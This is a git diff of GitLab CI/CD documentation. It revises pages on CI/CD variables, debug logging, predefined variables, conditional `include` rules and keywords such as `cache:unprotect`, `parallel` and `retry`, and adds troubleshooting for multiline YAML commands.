+ to a running application. To make a CI/CD variable available as an environment variable in the running application's container,
+ [prefix the variable key](../../topics/autodevops/cicd_variables.md#configure-application-secret-variables)
+ with `K8S_SECRET_`.
-To learn more about scoping environments, see [Scoping environments with specs](../environments/index.md#scope-environments-with-specs).
+- The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck)
+ video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo)
+ working example project. It explains how multiple levels of group CI/CD variables
+ can be combined with environment-scoped project variables for complex configuration
+ of application builds or deployments.
-To learn more about ensuring CI/CD variables are only exposed in pipelines running from protected
-branches or tags, see [Protected CI/CD variables](#protected-cicd-variables).
+ The example can be copied to your own group or instance for testing. More details
+ on what other GitLab CI patterns are demonstrated are available at the project page.
-## Deployment variables
+## Troubleshooting
-Integrations that are responsible for deployment configuration can define their own
-variables that are set in the build environment. These variables are only defined
-for [deployment jobs](../environments/index.md).
+### List all variables
-For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables)
-defines deployment variables that you can use with the integration.
-
-The [documentation for each integration](../../user/project/integrations/index.md)
-explains if the integration has any deployment variables available.
-
-## Auto DevOps environment variables
+You can list all variables available to a script with the `export` command
+in Bash or `dir env:` in PowerShell. This exposes the values of **all** available
+variables, which can be a [security risk](#cicd-variable-security).
+[Masked variables](#mask-a-cicd-variable) display as `[masked]`.
-You can configure [Auto DevOps](../../topics/autodevops/index.md) to pass CI/CD variables
-to a running application.
+For example:
-To make a CI/CD variable available as an environment variable in the running application's container,
-[prefix the variable key](../../topics/autodevops/cicd_variables.md#configure-application-secret-variables)
-with `K8S_SECRET_`.
+```yaml
+job_name:
+ script:
+ - export
+ # - 'dir env:' # Use this for PowerShell
+```
-CI/CD variables with multi-line values are not supported.
+Example job log output (truncated):
-## Debug logging
+```shell
+export CI_JOB_ID="50"
+export CI_COMMIT_SHA="1ecfd275763eff1d6b4844ea3168962458c9f27a"
+export CI_COMMIT_SHORT_SHA="1ecfd275"
+export CI_COMMIT_REF_NAME="main"
+export CI_REPOSITORY_URL="https://gitlab-ci-token:[masked]@example.com/gitlab-org/gitlab-foss.git"
+export CI_COMMIT_TAG="1.0.0"
+export CI_JOB_NAME="spec:other"
+export CI_JOB_STAGE="test"
+export CI_JOB_MANUAL="true"
+export CI_JOB_TRIGGERED="true"
+export CI_JOB_TOKEN="[masked]"
+export CI_PIPELINE_ID="1000"
+export CI_PIPELINE_IID="10"
+export CI_PAGES_DOMAIN="gitlab.io"
+export CI_PAGES_URL="https://gitlab-org.gitlab.io/gitlab-foss"
+export CI_PROJECT_ID="34"
+export CI_PROJECT_DIR="/builds/gitlab-org/gitlab-foss"
+export CI_PROJECT_NAME="gitlab-foss"
+export CI_PROJECT_TITLE="GitLab FOSS"
+...
+```
-> Introduced in GitLab Runner 1.7.
+### Enable debug logging
WARNING:
Debug logging can be a serious security risk. The output contains the content of
@@ -798,8 +733,6 @@ Before you enable debug logging, make sure only team members
can view job logs. You should also [delete job logs](../jobs/index.md#view-jobs-in-a-pipeline)
with debug output before you make logs public again.
-### Enable Debug logging
-
To enable debug logging (tracing), set the `CI_DEBUG_TRACE` variable to `true`:
```yaml
@@ -881,7 +814,7 @@ if [[ -d "/builds/gitlab-examples/ci-debug-trace/.git" ]]; then
...
```
-### Restrict access to debug logging
+#### Restrict access to debug logging
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213159) in GitLab 13.7.
> - [Feature flag removed](https://gitlab.com/gitlab-org/gitlab/-/issues/292661) in GitLab 13.8.
@@ -890,21 +823,10 @@ You can restrict access to debug logging. When restricted, only users with
at least the Developer role
can view job logs when debug logging is enabled with a variable in:
-- The [`.gitlab-ci.yml` file](#create-a-custom-cicd-variable-in-the-gitlab-ciyml-file).
+- The [`.gitlab-ci.yml` file](#define-a-cicd-variable-in-the-gitlab-ciyml-file).
- The CI/CD variables set in the GitLab UI.
WARNING:
If you add `CI_DEBUG_TRACE` as a local variable to runners, debug logs generate and are visible
to all users with access to job logs. The permission levels are not checked by the runner,
so you should only use the variable in GitLab itself.
-
-## Video walkthrough of a working example
-
-The [Managing the Complex Configuration Data Management Monster Using GitLab](https://www.youtube.com/watch?v=v4ZOJ96hAck)
-video is a walkthrough of the [Complex Configuration Data Monorepo](https://gitlab.com/guided-explorations/config-data-top-scope/config-data-subscope/config-data-monorepo)
-working example project. It explains how multiple levels of group CI/CD variables
-can be combined with environment-scoped project variables for complex configuration
-of application builds or deployments.
-
-The example can be copied to your own group or instance for testing. More details
-on what other GitLab CI patterns are demonstrated are available at the project page.
diff --git a/doc/ci/variables/predefined_variables.md b/doc/ci/variables/predefined_variables.md
index d7f67b79416..b9557b98066 100644
--- a/doc/ci/variables/predefined_variables.md
+++ b/doc/ci/variables/predefined_variables.md
@@ -11,7 +11,7 @@ Predefined [CI/CD variables](index.md) are available in every GitLab CI/CD pipel
Some variables are only available with more recent versions of [GitLab Runner](https://docs.gitlab.com/runner/).
-You can [output the values of all variables available for a job](index.md#list-all-environment-variables)
+You can [output the values of all variables available for a job](index.md#list-all-variables)
with a `script` command.
There are also a number of [variables you can use to configure runner behavior](../runners/configure_runners.md#configure-runner-behavior-with-variables) globally or for individual jobs.
@@ -45,7 +45,7 @@ as it can cause the pipeline to behave unexpectedly.
| `CI_CONCURRENT_ID` | all | 11.10 | The unique ID of build execution in a single executor. |
| `CI_CONCURRENT_PROJECT_ID` | all | 11.10 | The unique ID of build execution in a single executor and project. |
| `CI_CONFIG_PATH` | 9.4 | 0.5 | The path to the CI/CD configuration file. Defaults to `.gitlab-ci.yml`. Read-only inside a running pipeline. |
-| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](index.md#debug-logging) is enabled. |
+| `CI_DEBUG_TRACE` | all | 1.7 | `true` if [debug logging (tracing)](index.md#enable-debug-logging) is enabled. |
| `CI_DEBUG_SERVICES` | 15.7 | 15.7 | `true` if [service container logging](../services/index.md#capturing-service-container-logs) is enabled. |
| `CI_DEFAULT_BRANCH` | 12.4 | all | The name of the project's default branch. |
| `CI_DEPENDENCY_PROXY_GROUP_IMAGE_PREFIX` | 13.7 | all | The top-level group image prefix for pulling images through the Dependency Proxy. |
@@ -135,10 +135,10 @@ as it can cause the pipeline to behave unexpectedly.
| `CI_TEMPLATE_REGISTRY_HOST` | 15.3 | all | The host of the registry used by CI/CD templates. Defaults to `registry.gitlab.com`. |
| `GITLAB_CI` | all | all | Available for all jobs executed in CI/CD. `true` when available. |
| `GITLAB_FEATURES` | 10.6 | all | The comma-separated list of licensed features available for the GitLab instance and license. |
-| `GITLAB_USER_EMAIL` | 8.12 | all | The email of the user who started the job. |
-| `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the job. |
-| `GITLAB_USER_LOGIN` | 10.0 | all | The username of the user who started the job. |
-| `GITLAB_USER_NAME` | 10.0 | all | The name of the user who started the job. |
+| `GITLAB_USER_EMAIL` | 8.12 | all | The email of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the email of the user who started the job. |
+| `GITLAB_USER_ID` | 8.12 | all | The ID of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the ID of the user who started the job. |
+| `GITLAB_USER_LOGIN` | 10.0 | all | The username of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the username of the user who started the job. |
+| `GITLAB_USER_NAME` | 10.0 | all | The name of the user who started the pipeline, unless the job is a manual job. In manual jobs, the value is the name of the user who started the job. |
| `TRIGGER_PAYLOAD` | 13.9 | all | The webhook payload. Only available when a pipeline is [triggered with a webhook](../triggers/index.md#use-a-webhook-payload). |
## Predefined variables for merge request pipelines
@@ -189,3 +189,15 @@ These variables are only available when:
| `CI_EXTERNAL_PULL_REQUEST_SOURCE_BRANCH_SHA` | 12.3 | all | The HEAD SHA of the source branch of the pull request. |
| `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_NAME` | 12.3 | all | The target branch name of the pull request. |
| `CI_EXTERNAL_PULL_REQUEST_TARGET_BRANCH_SHA` | 12.3 | all | The HEAD SHA of the target branch of the pull request. |
+
+## Deployment variables
+
+Integrations that are responsible for deployment configuration can define their own
+predefined variables that are set in the build environment. These variables are only defined
+for [deployment jobs](../environments/index.md).
+
+For example, the [Kubernetes integration](../../user/project/clusters/deploy_to_cluster.md#deployment-variables)
+defines deployment variables that you can use with the integration.
+
+The [documentation for each integration](../../user/project/integrations/index.md)
+explains if the integration has any deployment variables available.
diff --git a/doc/ci/variables/where_variables_can_be_used.md b/doc/ci/variables/where_variables_can_be_used.md
index 88d0c9a2454..6ea1f454467 100644
--- a/doc/ci/variables/where_variables_can_be_used.md
+++ b/doc/ci/variables/where_variables_can_be_used.md
@@ -36,6 +36,7 @@ There are two places defined variables can be used. On the:
| [`include`](../yaml/index.md#include) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. <br/><br/>See [Use variables with include](../yaml/includes.md#use-variables-with-include) for more information on supported variables. |
| [`only:variables`](../yaml/index.md#onlyvariables--exceptvariables) | no | Not applicable | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- `CI_ENVIRONMENT_*` variables, except `CI_ENVIRONMENT_NAME` which is supported.<br/>- [Persisted variables](#persisted-variables). |
| [`resource_group`](../yaml/index.md#resource_group) | yes | GitLab | Similar to `environment:url`, but the variables expansion doesn't support the following:<br/>- `CI_ENVIRONMENT_URL`<br/>- [Persisted variables](#persisted-variables). |
+| [`rules:changes`](../yaml/index.md#ruleschanges) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. |
| [`rules:exists`](../yaml/index.md#rulesexists) | yes | GitLab | The variable expansion is made by the [internal variable expansion mechanism](#gitlab-internal-variable-expansion-mechanism) in GitLab. |
| [`rules:if`](../yaml/index.md#rulesif) | no | Not applicable | The variable must be in the form of `$variable`. Not supported are the following:<br/><br/>- `CI_ENVIRONMENT_*` variables, except `CI_ENVIRONMENT_NAME` which is supported.<br/>- [Persisted variables](#persisted-variables). |
| [`script`](../yaml/index.md#script) | yes | Script execution shell | The variable expansion is made by the [execution shell environment](#execution-shell-environment). |
diff --git a/doc/ci/yaml/artifacts_reports.md b/doc/ci/yaml/artifacts_reports.md
index e12786f06ce..38b0ab1f0a3 100644
--- a/doc/ci/yaml/artifacts_reports.md
+++ b/doc/ci/yaml/artifacts_reports.md
@@ -115,8 +115,8 @@ collected code quality report uploads to GitLab as an artifact.
GitLab can display the results of one or more reports in:
-- The merge request [code quality widget](../testing/code_quality.md#code-quality-widget).
-- The merge request [diff annotations](../testing/code_quality.md#code-quality-in-diff-view).
+- The merge request [code quality widget](../testing/code_quality.md#merge-request-widget).
+- The merge request [diff annotations](../testing/code_quality.md#merge-request-changes-view).
- The [full report](../testing/metrics_reports.md).
## `artifacts:reports:container_scanning` **(ULTIMATE)**
diff --git a/doc/ci/yaml/includes.md b/doc/ci/yaml/includes.md
index daf2e653250..b1f43a4679b 100644
--- a/doc/ci/yaml/includes.md
+++ b/doc/ci/yaml/includes.md
@@ -56,7 +56,7 @@ You can include an array of configuration files:
- template: Auto-DevOps.gitlab-ci.yml
```
-- You can define an array that combines both default and specific `include` type:
+- You can define an array that combines both default and specific `include` types:
```yaml
include:
@@ -290,9 +290,9 @@ smoke-test-job:
In `include` sections in your `.gitlab-ci.yml` file, you can use:
-- [Project variables](../variables/index.md#add-a-cicd-variable-to-a-project).
-- [Group variables](../variables/index.md#add-a-cicd-variable-to-a-group).
-- [Instance variables](../variables/index.md#add-a-cicd-variable-to-an-instance).
+- [Project variables](../variables/index.md#for-a-project).
+- [Group variables](../variables/index.md#for-a-group).
+- [Instance variables](../variables/index.md#for-an-instance).
- Project [predefined variables](../variables/predefined_variables.md).
- In GitLab 14.2 and later, the `$CI_COMMIT_REF_NAME` [predefined variable](../variables/predefined_variables.md).
@@ -333,52 +333,82 @@ see this [CI/CD variable demo](https://youtu.be/4XR8gw3Pkos).
## Use `rules` with `include`
> - Introduced in GitLab 14.2 [with a flag](../../administration/feature_flags.md) named `ci_include_rules`. Disabled by default.
-> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.3.
-> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) GitLab 14.3.
-> - [Feature flag `ci_include_rules` removed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4.
-> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4.
+> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.3.
+> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/337507) in GitLab 14.4. Feature flag `ci_include_rules` removed.
> - [Support for `exists` keyword added](https://gitlab.com/gitlab-org/gitlab/-/issues/341511) in GitLab 14.5.
You can use [`rules`](index.md#rules) with `include` to conditionally include other configuration files.
-You can only use the following rules with `include` (and only with [certain variables](#use-variables-with-include)):
+You can only use `rules` with [certain variables](#use-variables-with-include), and
+these keywords:
-- [`if` rules](index.md#rulesif). For example:
+- [`rules:if`](index.md#rulesif).
+- [`rules:exists`](index.md#rulesexists).
- ```yaml
- include:
- - local: builds.yml
- rules:
- - if: $INCLUDE_BUILDS == "true"
- - local: deploys.yml
- rules:
- - if: $CI_COMMIT_BRANCH == "main"
-
- test:
- stage: test
- script: exit 0
- ```
+You cannot use [`needs:`](index.md#needs) to create a job dependency that points to
+a job added with `include:local:rules`. When the configuration is validated,
+GitLab returns `undefined need: <job-name>`. [Issue 345377](https://gitlab.com/gitlab-org/gitlab/-/issues/345377)
+proposes improving this behavior.
-- [`exists` rules](index.md#rulesexists). For example:
+### `include` with `rules:if`
- ```yaml
- include:
- - local: builds.yml
- rules:
- - exists:
- - file.md
-
- test:
- stage: test
- script: exit 0
- ```
+Use [`rules:if`](index.md#rulesif) to conditionally include other configuration files
+based on the status of CI/CD variables. For example:
-`rules` keyword `changes` is not supported.
+```yaml
+include:
+ - local: builds.yml
+ rules:
+ - if: $INCLUDE_BUILDS == "true"
+ - local: deploys.yml
+ rules:
+ - if: $CI_COMMIT_BRANCH == "main"
+
+test:
+ stage: test
+ script: exit 0
+```
-You cannot use [`needs:`](index.md#needs) to create a job dependency that points to
-a job added with `include:local:rules`. When the configuration is checked for validity,
-GitLab returns `undefined need: <job-name>`. An [issue exists](https://gitlab.com/gitlab-org/gitlab/-/issues/345377)
-to improve this behavior.
+### `include` with `rules:exists`
+
+Use [`rules:exists`](index.md#rulesexists) to conditionally include other configuration files
+based on the existence of files. For example:
+
+```yaml
+include:
+ - local: builds.yml
+ rules:
+ - exists:
+ - file.md
+
+test:
+ stage: test
+ script: exit 0
+```
+
+In this example, GitLab checks for the existence of `file.md` in the current project.
+
+There is a known issue if you configure `include` with `rules:exists` to add a configuration file
+from a different project. GitLab checks for the existence of the file in the _other_ project.
+For example:
+
+```yaml
+include:
+- project: my-group/my-project-2
+ ref: main
+ file: test-file.yml
+ rules:
+ - exists:
+ - file.md
+
+test:
+ stage: test
+ script: exit 0
+```
+
+In this example, GitLab checks for the existence of `test-file.yml` in `my-group/my-project-2`,
+not the current project. Follow [issue 386040](https://gitlab.com/gitlab-org/gitlab/-/issues/386040)
+for information about work to improve this behavior.
## Use `include:local` with wildcard file paths
diff --git a/doc/ci/yaml/index.md b/doc/ci/yaml/index.md
index dffe409b193..3796eed54e1 100644
--- a/doc/ci/yaml/index.md
+++ b/doc/ci/yaml/index.md
@@ -171,7 +171,7 @@ the time limit to resolve all files is 30 seconds.
#### `include:local`
-Use `include:local` to include a file that is in the same repository as the `.gitlab-ci.yml` file.
+Use `include:local` to include a file that is in the same repository as the project running the pipeline.
Use `include:local` instead of symbolic links.
**Keyword type**: Global keyword.
@@ -397,10 +397,7 @@ Use [`workflow`](workflow.md) to control pipeline behavior.
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/372538) in GitLab 15.5 [with a flag](../../administration/feature_flags.md) named `pipeline_name`. Disabled by default.
> - [Enabled on GitLab.com and self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/376095) in GitLab 15.7.
-
-FLAG:
-On self-managed GitLab, by default this feature is available. To hide the feature,
-ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `pipeline_name`.
+> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/376095) in GitLab 15.8. Feature flag `pipeline_name` removed.
You can use `name` in `workflow:` to define a name for pipelines.
@@ -669,6 +666,7 @@ In this example, `job1` and `job2` run in parallel:
**Additional details**:
- You can use `allow_failure` as a subkey of [`rules`](#rulesallow_failure).
+- If `allow_failure: true` is set, the job is always considered successful, and later jobs with [`when: on_failure`](#when) don't start if this job fails.
- You can use `allow_failure: false` with a manual job to create a [blocking manual job](../jobs/job_control.md#types-of-manual-jobs).
A blocked pipeline does not run any jobs in later stages until the manual job
is started and completes successfully.
@@ -1003,7 +1001,7 @@ rspec:
- Combining reports in parent pipelines using [artifacts from child pipelines](#needspipelinejob) is
not supported. Track progress on adding support in [this issue](https://gitlab.com/gitlab-org/gitlab/-/issues/215725).
-- To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword. This will upload and store the artifact twice.
+- To be able to browse the report output files, include the [`artifacts:paths`](#artifactspaths) keyword. This uploads and stores the artifact twice.
- The test reports are collected regardless of the job results (success or failure).
You can use [`artifacts:expire_in`](#artifactsexpire_in) to set up an expiration
date for artifacts reports.
@@ -1103,10 +1101,16 @@ job:
### `cache`
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/330047) in GitLab 15.0, caches are not shared between protected and unprotected branches.
+
Use `cache` to specify a list of files and directories to
cache between jobs. You can only use paths that are in the local working copy.
-Caching is shared between pipelines and jobs. Caches are restored before [artifacts](#artifacts).
+Caches are:
+
+- Shared between pipelines and jobs.
+- By default, not shared between [protected](../../user/project/protected_branches.md) and unprotected branches.
+- Restored before [artifacts](#artifacts).
Learn more about caches in [Caching in GitLab CI/CD](../caching/index.md).
@@ -1142,6 +1146,10 @@ rspec:
- .config
```
+**Additional details**:
+
+- The `cache:paths` keyword includes files even if they are untracked or in your `.gitignore` file.
+
**Related topics**:
- See the [common `cache` use cases](../caching/index.md#common-use-cases-for-caches) for more
@@ -1289,6 +1297,11 @@ Untracked files include files that are:
- Ignored due to [`.gitignore` configuration](https://git-scm.com/docs/gitignore).
- Created, but not added to the checkout with [`git add`](https://git-scm.com/docs/git-add).
+Caching untracked files can create unexpectedly large caches if the job downloads:
+
+- Dependencies, like gems or node modules, which are usually untracked.
+- [Artifacts](#artifacts) from a different job. Files extracted from the artifacts are untracked by default.
+
**Keyword type**: Job keyword. You can use it only as part of a job or in the
[`default` section](#default).
@@ -1307,8 +1320,9 @@ rspec:
**Additional details**:
-- You can combine `cache:untracked` with `cache:paths` to cache all untracked files
- as well as files in the configured paths. This is useful for including files that are not tracked because of a `.gitignore` configuration. For example:
+- You can combine `cache:untracked` with `cache:paths` to cache all untracked files, as well as files in the configured paths.
+ Use `cache:paths` to cache any specific files, including tracked files, or files that are outside of the working directory,
+ and use `cache: untracked` to also cache all untracked files. For example:
```yaml
rspec:
@@ -1319,6 +1333,36 @@ rspec:
- binaries/
```
+ In this example, the job caches all untracked files in the repository, as well as all the files in `binaries/`.
+ If there are untracked files in `binaries/`, they are covered by both keywords.
+
+#### `cache:unprotect`
+
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/362114) in GitLab 15.8.
+
+Use `cache:unprotect` to set a cache to be shared between [protected](../../user/project/protected_branches.md)
+and unprotected branches.
+
+WARNING:
+When set to `true`, users without access to protected branches can read and write to
+cache keys used by protected branches.
+
+**Keyword type**: Job keyword. You can use it only as part of a job or in the
+[`default` section](#default).
+
+**Possible inputs**:
+
+- `true` or `false` (default).
+
+**Example of `cache:untracked`**:
+
+```yaml
+rspec:
+ script: test
+ cache:
+ unprotect: true
+```
+
#### `cache:when`
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/18969) in GitLab 13.5 and GitLab Runner v13.5.0.
@@ -2820,6 +2864,8 @@ You must:
### `parallel`
+> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/336576) in GitLab 15.9, the maximum value for `parallel` is increased from 50 to 200.
+
Use `parallel` to run a job multiple times in parallel in a single pipeline.
Multiple runners must exist, or a single runner must be configured to run multiple jobs concurrently.
@@ -2830,7 +2876,7 @@ Parallel jobs are named sequentially from `job_name 1/N` to `job_name N/N`.
**Possible inputs**:
-- A numeric value from `2` to `50`.
+- A numeric value from `2` to `200`.
**Example of `parallel`**:
@@ -2855,6 +2901,7 @@ This example creates 5 jobs that run in parallel, named `test 1/5` to `test 5/5`
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/15356) in GitLab 13.3.
> - The job naming style was [improved in GitLab 13.4](https://gitlab.com/gitlab-org/gitlab/-/issues/230452).
+> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/336576) in GitLab 15.9, the maximum number of permutations is increased from 50 to 200.
Use `parallel:matrix` to run a job multiple times in parallel in a single pipeline,
but with different variable values for each instance of the job.
@@ -2867,7 +2914,7 @@ Multiple runners must exist, or a single runner must be configured to run multip
- The variable names can use only numbers, letters, and underscores (`_`).
- The values must be either a string, or an array of strings.
-- The number of permutations cannot exceed 50.
+- The number of permutations cannot exceed 200.
**Example of `parallel:matrix`**:
@@ -3242,7 +3289,9 @@ Use `retry:when` with `retry:max` to retry jobs for only specific failure cases.
- `always`: Retry on any failure (default).
- `unknown_failure`: Retry when the failure reason is unknown.
-- `script_failure`: Retry when the script failed.
+- `script_failure`: Retry when:
+ - The script failed.
+ - The runner failed to pull the Docker image. For `docker`, `docker+machine`, `kubernetes` [executors](https://docs.gitlab.com/runner/executors/).
- `api_failure`: Retry on API failure.
- `stuck_or_timeout_failure`: Retry when the job got stuck or timed out.
- `runner_system_failure`: Retry if there is a runner system failure (for example, job setup failed).
@@ -3332,8 +3381,8 @@ Use `rules:if` clauses to specify when to add a job to a pipeline:
- If an `if` statement is true, but it's combined with `when: never`, do not add the job to the pipeline.
- If no `if` statements are true, do not add the job to the pipeline.
-`if` clauses are evaluated based on the values of [predefined CI/CD variables](../variables/predefined_variables.md)
-or [custom CI/CD variables](../variables/index.md#custom-cicd-variables), with
+`if` clauses are evaluated based on the values of [CI/CD variables](../variables/index.md)
+or [predefined CI/CD variables](../variables/predefined_variables.md), with
[some exceptions](../variables/where_variables_can_be_used.md#gitlab-ciyml-file).
**Keyword type**: Job-specific and pipeline-specific. You can use it as part of a job
@@ -3451,7 +3500,7 @@ any subkeys. All additional details and related topics are the same.
**Possible inputs**:
-- An array of file paths. In GitLab 13.6 and later, [file paths can include variables](../jobs/job_control.md#variables-in-ruleschanges).
+- An array of file paths. [File paths can include variables](../jobs/job_control.md#variables-in-ruleschanges).
**Example of `rules:changes:paths`**:
@@ -3657,7 +3706,7 @@ Use `secrets` to specify [CI/CD secrets](../secrets/index.md) to:
- Retrieve from an external secrets provider.
- Make available in the job as [CI/CD variables](../variables/index.md)
- ([`file` type](../variables/index.md#cicd-variable-types) by default).
+ ([`file` type](../variables/index.md#use-file-type-cicd-variables) by default).
This keyword must be used with `secrets:vault`.
@@ -3716,7 +3765,7 @@ job:
> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/250695) in GitLab 14.1 and GitLab Runner 14.1.
Use `secrets:file` to configure the secret to be stored as either a
-[`file` or `variable` type CI/CD variable](../variables/index.md#cicd-variable-types)
+[`file` or `variable` type CI/CD variable](../variables/index.md#use-file-type-cicd-variables)
By default, the secret is passed to the job as a `file` type CI/CD variable. The value
of the secret is stored in the file and the variable contains the path to the file.
@@ -4252,8 +4301,8 @@ child3:
### `variables`
-[CI/CD variables](../variables/index.md) are configurable values that are passed to jobs.
-Use `variables` to create [custom variables](../variables/index.md#custom-cicd-variables).
+Use `variables` to define [CI/CD variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file),
+which are configurable values that are passed to jobs.
Variables are always available in `script`, `before_script`, and `after_script` commands.
You can also use variables as inputs in some job keywords.
@@ -4298,7 +4347,7 @@ deploy_review_job:
- All YAML-defined variables are also set to any linked [Docker service containers](../services/index.md).
- YAML-defined variables are meant for non-sensitive project configuration. Store sensitive information
- in [protected variables](../variables/index.md#protected-cicd-variables) or [CI/CD secrets](../secrets/index.md).
+ in [protected variables](../variables/index.md#protect-a-cicd-variable) or [CI/CD secrets](../secrets/index.md).
- [Manual pipeline variables](../variables/index.md#override-a-defined-cicd-variable)
and [scheduled pipeline variables](../pipelines/schedules.md#add-a-pipeline-schedule)
are not passed to downstream pipelines by default. Use [trigger:forward](#triggerforward)
@@ -4306,7 +4355,6 @@ deploy_review_job:
**Related topics**:
-- You can use [YAML anchors for variables](yaml_optimization.md#yaml-anchors-for-variables).
- [Predefined variables](../variables/predefined_variables.md) are variables the runner
automatically creates and makes available in the job.
- You can [configure runner behavior with variables](../runners/configure_runners.md#configure-runner-behavior-with-variables).
@@ -4348,10 +4396,7 @@ variables:
> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/353991) in GitLab 15.6 [with a flag](../../administration/feature_flags.md) named `ci_raw_variables_in_yaml_config`. Disabled by default.
> - [Enabled on GitLab.com](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.6.
> - [Enabled on self-managed](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.7.
-
-FLAG:
-On self-managed GitLab, by default this feature is available. To hide the feature per project,
-ask an administrator to [disable the feature flag](../../administration/feature_flags.md) named `ci_raw_variables_in_yaml_config`.
+> - [Generally available](https://gitlab.com/gitlab-org/gitlab/-/issues/375034) in GitLab 15.8. Feature flag `ci_raw_variables_in_yaml_config` removed.
Use the `expand` keyword to configure a variable to be expandable or not.
@@ -4394,7 +4439,7 @@ the default value is `when: on_success`.
or have `allow_failure: true`.
- `manual`: Run the job only when [triggered manually](../jobs/job_control.md#create-a-job-that-must-be-run-manually).
- `always`: Run the job regardless of the status of jobs in earlier stages. Can also be used in `workflow:rules`.
-- `on_failure`: Run the job only when at least one job in an earlier stage fails.
+- `on_failure`: Run the job only when at least one job in an earlier stage fails. A job with `allow_failure: true` is always considered successful.
- `delayed`: [Delay the execution of a job](../jobs/job_control.md#run-a-job-after-a-delay)
for a specified duration.
- `never`: Don't run the job. Can only be used in a [`rules`](#rules) section or `workflow: rules`.
diff --git a/doc/ci/yaml/script.md b/doc/ci/yaml/script.md
index 1d3186a4047..1c31191c2f4 100644
--- a/doc/ci/yaml/script.md
+++ b/doc/ci/yaml/script.md
@@ -203,7 +203,7 @@ job:
- echo -e "\e[31mThis text is red,\e[0m but this text isn't\e[31m however this text is red again."
```
-You can define the color codes in Shell environment variables, or even [custom CI/CD variables](../variables/index.md#custom-cicd-variables),
+You can define the color codes in Shell environment variables, or even [CI/CD variables](../variables/index.md#define-a-cicd-variable-in-the-gitlab-ciyml-file),
which makes the commands easier to read and reusable.
For example, using the same example as above and environment variables defined in a `before_script`:
@@ -284,3 +284,59 @@ job-fails:
- (invalid-command xyz && invalid-command abc)
- echo "The job failed already, and this is not executed."
```
+
+### Multiline commands not preserved by folded YAML multiline block scalar
+
+If you use the `- >` folded YAML multiline block scalar to split long commands,
+additional indentation causes the lines to be processed as individual commands.
+
+For example:
+
+```yaml
+script:
+ - >
+ RESULT=$(curl --silent
+ --header
+ "Authorization: Bearer $CI_JOB_TOKEN"
+ "${CI_API_V4_URL}/job"
+ )
+```
+
+This fails as the indentation causes the line breaks to be preserved:
+
+<!-- vale gitlab.CurlStringsQuoted = NO -->
+
+```plaintext
+$ RESULT=$(curl --silent # collapsed multi-line command
+curl: no URL specified!
+curl: try 'curl --help' or 'curl --manual' for more information
+/bin/bash: line 149: --header: command not found
+/bin/bash: line 150: https://gitlab.example.com/api/v4/job: No such file or directory
+```
+
+<!-- vale gitlab.CurlStringsQuoted = YES -->
+
+Resolve this by either:
+
+- Removing the extra indentation:
+
+ ```yaml
+ script:
+ - >
+ RESULT=$(curl --silent
+ --header
+ "Authorization: Bearer $CI_JOB_TOKEN"
+ "${CI_API_V4_URL}/job"
+ )
+ ```
+
+- Modifying the script so the extra line breaks are handled, for example using shell line continuation:
+
+ ```yaml
+ script:
+ - >
+ RESULT=$(curl --silent \
+ --header \
+ "Authorization: Bearer $CI_JOB_TOKEN" \
+ "${CI_API_V4_URL}/job")
+ ```
diff --git a/doc/ci/yaml/yaml_optimization.md b/doc/ci/yaml/yaml_optimization.md
index 5344a999b95..07019a2776f 100644
--- a/doc/ci/yaml/yaml_optimization.md
+++ b/doc/ci/yaml/yaml_optimization.md
@@ -13,7 +13,7 @@ files by using:
- YAML-specific features like [anchors (`&`)](#anchors), aliases (`*`), and map merging (`<<`).
Read more about the various [YAML features](https://learnxinyminutes.com/docs/yaml/).
- The [`extends` keyword](#use-extends-to-reuse-configuration-sections),
- which is more flexible and readable. We recommend you use `extends` where possible.
+ which is more flexible and readable. You should use `extends` where possible.
## Anchors
@@ -21,10 +21,20 @@ YAML has a feature called 'anchors' that you can use to duplicate
content across your document.
Use anchors to duplicate or inherit properties. Use anchors with [hidden jobs](../jobs/index.md#hide-jobs)
-to provide templates for your jobs. When there are duplicate keys, GitLab
-performs a reverse deep merge based on the keys.
+to provide templates for your jobs. When there are duplicate keys, the latest included key wins, overriding the other keys.
-You can use YAML anchors to merge YAML arrays.
